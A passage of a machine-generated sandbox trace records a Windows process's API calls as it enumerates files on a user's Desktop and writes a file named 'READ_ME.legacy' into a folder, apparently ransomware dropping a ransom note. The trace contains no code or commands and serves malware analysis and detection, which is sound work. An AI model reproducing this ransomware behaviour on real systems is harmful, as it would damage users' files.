dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0111.403] GetLastError () returned 0x5 [0111.403] SetLastError (dwErrCode=0x5) [0111.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d528 [0111.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d528 | out: hHeap=0x520000) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0111.404] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc683aa0, ftCreationTime.dwHighDateTime=0x1d4c6da, ftLastAccessTime.dwLowDateTime=0x4c0d6830, ftLastAccessTime.dwHighDateTime=0x1d4cb7b, ftLastWriteTime.dwLowDateTime=0x4c0d6830, ftLastWriteTime.dwHighDateTime=0x1d4cb7b, nFileSizeHigh=0x0, nFileSizeLow=0xbceb, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="3zdM.png", cAlternateFileName="")) returned 1 [0111.405] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0111.405] GetLastError () returned 0x5 [0111.405] SetLastError (dwErrCode=0x5) [0111.405] GetLastError () returned 0x5 [0111.406] SetLastError (dwErrCode=0x5) [0111.406] GetLastError () returned 0x5 [0111.406] SetLastError (dwErrCode=0x5) [0111.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0111.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0111.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0111.407] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c83b20, ftCreationTime.dwHighDateTime=0x1d4d374, ftLastAccessTime.dwLowDateTime=0x84c19990, ftLastAccessTime.dwHighDateTime=0x1d4d52a, ftLastWriteTime.dwLowDateTime=0x84c19990, ftLastWriteTime.dwHighDateTime=0x1d4d52a, nFileSizeHigh=0x0, nFileSizeLow=0x100dd, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="4Vp_7.jpg", cAlternateFileName="")) returned 1 [0111.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0111.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0111.408] GetLastError () returned 0x5 [0111.408] SetLastError (dwErrCode=0x5) [0111.408] GetLastError () returned 0x5 [0111.408] SetLastError (dwErrCode=0x5) [0111.409] GetLastError () returned 0x5 [0111.409] SetLastError (dwErrCode=0x5) [0111.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0111.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0111.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0111.410] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73bfe3a0, ftCreationTime.dwHighDateTime=0x1d4c863, ftLastAccessTime.dwLowDateTime=0x1c29b030, ftLastAccessTime.dwHighDateTime=0x1d4cedf, ftLastWriteTime.dwLowDateTime=0x1c29b030, ftLastWriteTime.dwHighDateTime=0x1d4cedf, nFileSizeHigh=0x0, nFileSizeLow=0x9297, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="5ezA.jpg", cAlternateFileName="")) returned 1 [0111.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0111.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0111.410] GetLastError () returned 0x5 [0111.410] SetLastError (dwErrCode=0x5) [0111.411] GetLastError () returned 0x5 [0111.411] SetLastError (dwErrCode=0x5) [0111.411] GetLastError () returned 0x5 [0111.411] SetLastError (dwErrCode=0x5) [0111.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d410 [0111.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0111.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0111.411] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79e7860, ftCreationTime.dwHighDateTime=0x1d4d5e0, ftLastAccessTime.dwLowDateTime=0xc60f7360, ftLastAccessTime.dwHighDateTime=0x1d4c67d, ftLastWriteTime.dwLowDateTime=0xc60f7360, ftLastWriteTime.dwHighDateTime=0x1d4c67d, nFileSizeHigh=0x0, nFileSizeLow=0x12b62, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="5udgkcl9lFsDzlhn.gif", cAlternateFileName="5UDGKC~1.GIF")) returned 1 [0111.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0111.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0111.411] GetLastError () returned 0x5 [0111.411] SetLastError (dwErrCode=0x5) [0111.411] GetLastError () returned 0x5 [0111.411] SetLastError (dwErrCode=0x5) [0111.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0111.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0111.412] GetLastError () returned 0x5 [0111.412] SetLastError (dwErrCode=0x5) [0111.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0111.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0111.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0111.413] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d96d960, ftCreationTime.dwHighDateTime=0x1d4c843, ftLastAccessTime.dwLowDateTime=0xfaba2f70, ftLastAccessTime.dwHighDateTime=0x1d4cb13, ftLastWriteTime.dwLowDateTime=0xfaba2f70, ftLastWriteTime.dwHighDateTime=0x1d4cb13, nFileSizeHigh=0x0, nFileSizeLow=0x110d2, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="9LK4qcZv5ITL2VTxp.mp3", cAlternateFileName="9LK4QC~1.MP3")) returned 1 [0111.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0111.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0111.413] GetLastError () returned 0x5 [0111.413] SetLastError (dwErrCode=0x5) [0111.413] GetLastError () returned 0x5 [0111.413] SetLastError (dwErrCode=0x5) [0111.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0111.413] GetLastError () returned 0x5 [0111.413] SetLastError (dwErrCode=0x5) [0111.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0111.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0111.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0111.413] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a93b10, ftCreationTime.dwHighDateTime=0x1d4c909, ftLastAccessTime.dwLowDateTime=0x63ccaaf0, ftLastAccessTime.dwHighDateTime=0x1d4ccc8, ftLastWriteTime.dwLowDateTime=0x63ccaaf0, ftLastWriteTime.dwHighDateTime=0x1d4ccc8, nFileSizeHigh=0x0, nFileSizeLow=0x134a3, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="b1qmTDkLk5.swf", cAlternateFileName="B1QMTD~1.SWF")) returned 1 [0111.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0111.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0111.413] GetLastError () returned 0x5 [0111.413] SetLastError (dwErrCode=0x5) [0111.413] GetLastError () returned 0x5 [0111.413] SetLastError (dwErrCode=0x5) [0111.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0111.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0111.414] GetLastError () returned 0x5 [0111.414] SetLastError (dwErrCode=0x5) [0111.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0111.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0111.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0111.414] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedeb6d0, ftCreationTime.dwHighDateTime=0x1d4c5e0, ftLastAccessTime.dwLowDateTime=0xa808d360, ftLastAccessTime.dwHighDateTime=0x1d4cd77, ftLastWriteTime.dwLowDateTime=0xa808d360, ftLastWriteTime.dwHighDateTime=0x1d4cd77, nFileSizeHigh=0x0, nFileSizeLow=0x385d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bHECoAYdZGA AXNAvXF.avi", cAlternateFileName="BHECOA~1.AVI")) returned 1 [0111.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0111.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0111.414] GetLastError () returned 0x5 [0111.414] SetLastError (dwErrCode=0x5) [0111.414] GetLastError () returned 0x5 [0111.414] SetLastError (dwErrCode=0x5) [0111.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0111.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0111.414] GetLastError () returned 0x5 [0111.414] SetLastError (dwErrCode=0x5) [0111.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566dd0 [0111.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566dd0 | out: hHeap=0x520000) returned 1 [0111.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0111.414] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec84d80, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0x8f60e400, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x8e2fb700, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x2dc00, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ckoufc.exe", cAlternateFileName="")) returned 1 [0111.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0111.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0111.414] GetLastError () returned 0x5 [0111.415] SetLastError (dwErrCode=0x5) [0111.415] GetLastError () returned 0x5 [0111.415] SetLastError (dwErrCode=0x5) [0111.415] GetLastError () returned 0x5 [0111.415] SetLastError (dwErrCode=0x5) [0111.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d410 [0111.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0111.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0111.415] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aaf4e10, ftCreationTime.dwHighDateTime=0x1d4d2ea, ftLastAccessTime.dwLowDateTime=0x7c69baa0, ftLastAccessTime.dwHighDateTime=0x1d4d554, ftLastWriteTime.dwLowDateTime=0x7c69baa0, ftLastWriteTime.dwHighDateTime=0x1d4d554, nFileSizeHigh=0x0, nFileSizeLow=0x16d88, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cwcm9CrMRKylfo.m4a", cAlternateFileName="CWCM9C~1.M4A")) returned 1 [0111.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0111.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0111.415] GetLastError () returned 0x5 [0111.415] SetLastError (dwErrCode=0x5) [0111.415] GetLastError () returned 0x5 [0111.415] SetLastError (dwErrCode=0x5) [0111.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0111.415] GetLastError () returned 0x5 [0111.415] SetLastError (dwErrCode=0x5) [0111.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0111.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0111.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0111.415] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42c1d610, ftCreationTime.dwHighDateTime=0x1d4cb87, ftLastAccessTime.dwLowDateTime=0xe2812a30, ftLastAccessTime.dwHighDateTime=0x1d4cc76, ftLastWriteTime.dwLowDateTime=0xe2812a30, ftLastWriteTime.dwHighDateTime=0x1d4cc76, nFileSizeHigh=0x0, nFileSizeLow=0x46f7, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="dcJ5f17K3cIy6UPZ.mp3", cAlternateFileName="DCJ5F1~1.MP3")) returned 1 [0111.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0111.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0111.416] GetLastError () returned 0x5 [0111.416] SetLastError (dwErrCode=0x5) [0111.416] GetLastError () returned 0x5 [0111.416] SetLastError (dwErrCode=0x5) [0111.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0111.416] GetLastError () returned 0x5 [0111.416] SetLastError (dwErrCode=0x5) [0111.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0111.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0111.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0111.416] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0111.416] GetLastError () returned 0x5 [0111.416] SetLastError (dwErrCode=0x5) [0111.416] GetLastError () returned 0x5 [0111.416] SetLastError (dwErrCode=0x5) [0111.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0111.416] GetLastError () returned 0x5 [0111.416] SetLastError (dwErrCode=0x5) [0111.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d348 [0111.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d348 | out: hHeap=0x520000) returned 1 [0111.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0111.417] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf29dc3b0, ftCreationTime.dwHighDateTime=0x1d4d581, ftLastAccessTime.dwLowDateTime=0xf96f3d50, ftLastAccessTime.dwHighDateTime=0x1d4d1c0, ftLastWriteTime.dwLowDateTime=0xf96f3d50, ftLastWriteTime.dwHighDateTime=0x1d4d1c0, nFileSizeHigh=0x0, nFileSizeLow=0x6188, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EyAD0N6ivUNINjAbLr.flv", cAlternateFileName="EYAD0N~1.FLV")) returned 1 [0111.417] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0111.417] GetLastError () returned 0x5 [0111.417] SetLastError (dwErrCode=0x5) [0111.417] GetLastError () returned 0x5 [0111.417] SetLastError (dwErrCode=0x5) [0111.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.417] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0111.417] GetLastError () returned 0x5 [0111.417] SetLastError (dwErrCode=0x5) [0111.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0111.417] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0111.417] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x406fe300, ftCreationTime.dwHighDateTime=0x1d4d16a, ftLastAccessTime.dwLowDateTime=0x8e4e80, ftLastAccessTime.dwHighDateTime=0x1d4d452, ftLastWriteTime.dwLowDateTime=0x8e4e80, ftLastWriteTime.dwHighDateTime=0x1d4d452, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="F5EXUt1f1Xqj", cAlternateFileName="F5EXUT~1")) returned 1 [0111.417] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0111.417] GetLastError () returned 0x5 [0111.417] SetLastError (dwErrCode=0x5) [0111.417] GetLastError () returned 0x5 [0111.417] SetLastError (dwErrCode=0x5) [0111.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.417] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0111.417] GetLastError () returned 0x5 [0111.417] SetLastError (dwErrCode=0x5) [0111.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d370 [0111.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d528 [0111.418] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d370 | out: hHeap=0x520000) returned 1 [0111.418] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d528 | out: hHeap=0x520000) returned 1 [0111.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0111.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5a0 [0111.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0111.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0111.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0111.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0111.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.418] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0111.418] GetLastError () returned 0x5 [0111.418] SetLastError (dwErrCode=0x5) [0111.418] GetLastError () returned 0x5 [0111.418] SetLastError (dwErrCode=0x5) [0111.418] GetLastError () returned 0x5 [0111.418] SetLastError (dwErrCode=0x5) [0111.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5673a0 [0111.418] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.419] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5673a0 | out: hHeap=0x520000) returned 1 [0111.419] WriteFile (in: hFile=0x5e4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.422] CloseHandle (hObject=0x5e4) returned 1 [0111.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0111.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0111.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0111.424] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c4eee0, ftCreationTime.dwHighDateTime=0x1d4c7fd, ftLastAccessTime.dwLowDateTime=0x75a34df0, ftLastAccessTime.dwHighDateTime=0x1d4d309, ftLastWriteTime.dwLowDateTime=0x75a34df0, ftLastWriteTime.dwHighDateTime=0x1d4d309, nFileSizeHigh=0x0, nFileSizeLow=0xf4b8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="FnQ1UzSSx1.mkv", cAlternateFileName="FNQ1UZ~1.MKV")) returned 1 [0111.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0111.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0111.425] GetLastError () returned 0x0 [0111.425] SetLastError (dwErrCode=0x0) [0111.426] GetLastError () returned 0x0 [0111.426] SetLastError (dwErrCode=0x0) [0111.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0111.427] GetLastError () returned 0x0 [0111.427] SetLastError (dwErrCode=0x0) [0111.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0111.427] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0111.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d660 [0111.428] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6667c4d0, ftCreationTime.dwHighDateTime=0x1d4cf10, ftLastAccessTime.dwLowDateTime=0x2e8dd1a0, ftLastAccessTime.dwHighDateTime=0x1d4c9a5, ftLastWriteTime.dwLowDateTime=0x2e8dd1a0, ftLastWriteTime.dwHighDateTime=0x1d4c9a5, nFileSizeHigh=0x0, nFileSizeLow=0x179a1, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="H9P2qqLF3aR9XPvSe.wav", cAlternateFileName="H9P2QQ~1.WAV")) returned 1 [0111.428] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.428] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0111.428] GetLastError () returned 0x0 [0111.429] SetLastError (dwErrCode=0x0) [0111.429] GetLastError () returned 0x0 [0111.429] SetLastError (dwErrCode=0x0) [0111.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0111.429] GetLastError () returned 0x0 [0111.429] SetLastError (dwErrCode=0x0) [0111.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566dd0 [0111.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566dd0 | out: hHeap=0x520000) returned 1 [0111.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0111.429] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x332ddf0, ftCreationTime.dwHighDateTime=0x1d4c957, ftLastAccessTime.dwLowDateTime=0x64d71790, ftLastAccessTime.dwHighDateTime=0x1d4d2d2, ftLastWriteTime.dwLowDateTime=0x64d71790, ftLastWriteTime.dwHighDateTime=0x1d4d2d2, nFileSizeHigh=0x0, nFileSizeLow=0xc524, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="jdTKc.bmp", cAlternateFileName="")) returned 1 [0111.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0111.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0111.429] GetLastError () returned 0x0 [0111.429] SetLastError (dwErrCode=0x0) [0111.429] GetLastError () returned 0x0 [0111.430] SetLastError (dwErrCode=0x0) [0111.430] GetLastError () returned 0x0 [0111.430] SetLastError (dwErrCode=0x0) [0111.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d348 [0111.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d348 | out: hHeap=0x520000) returned 1 [0111.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0111.430] FindNextFileW 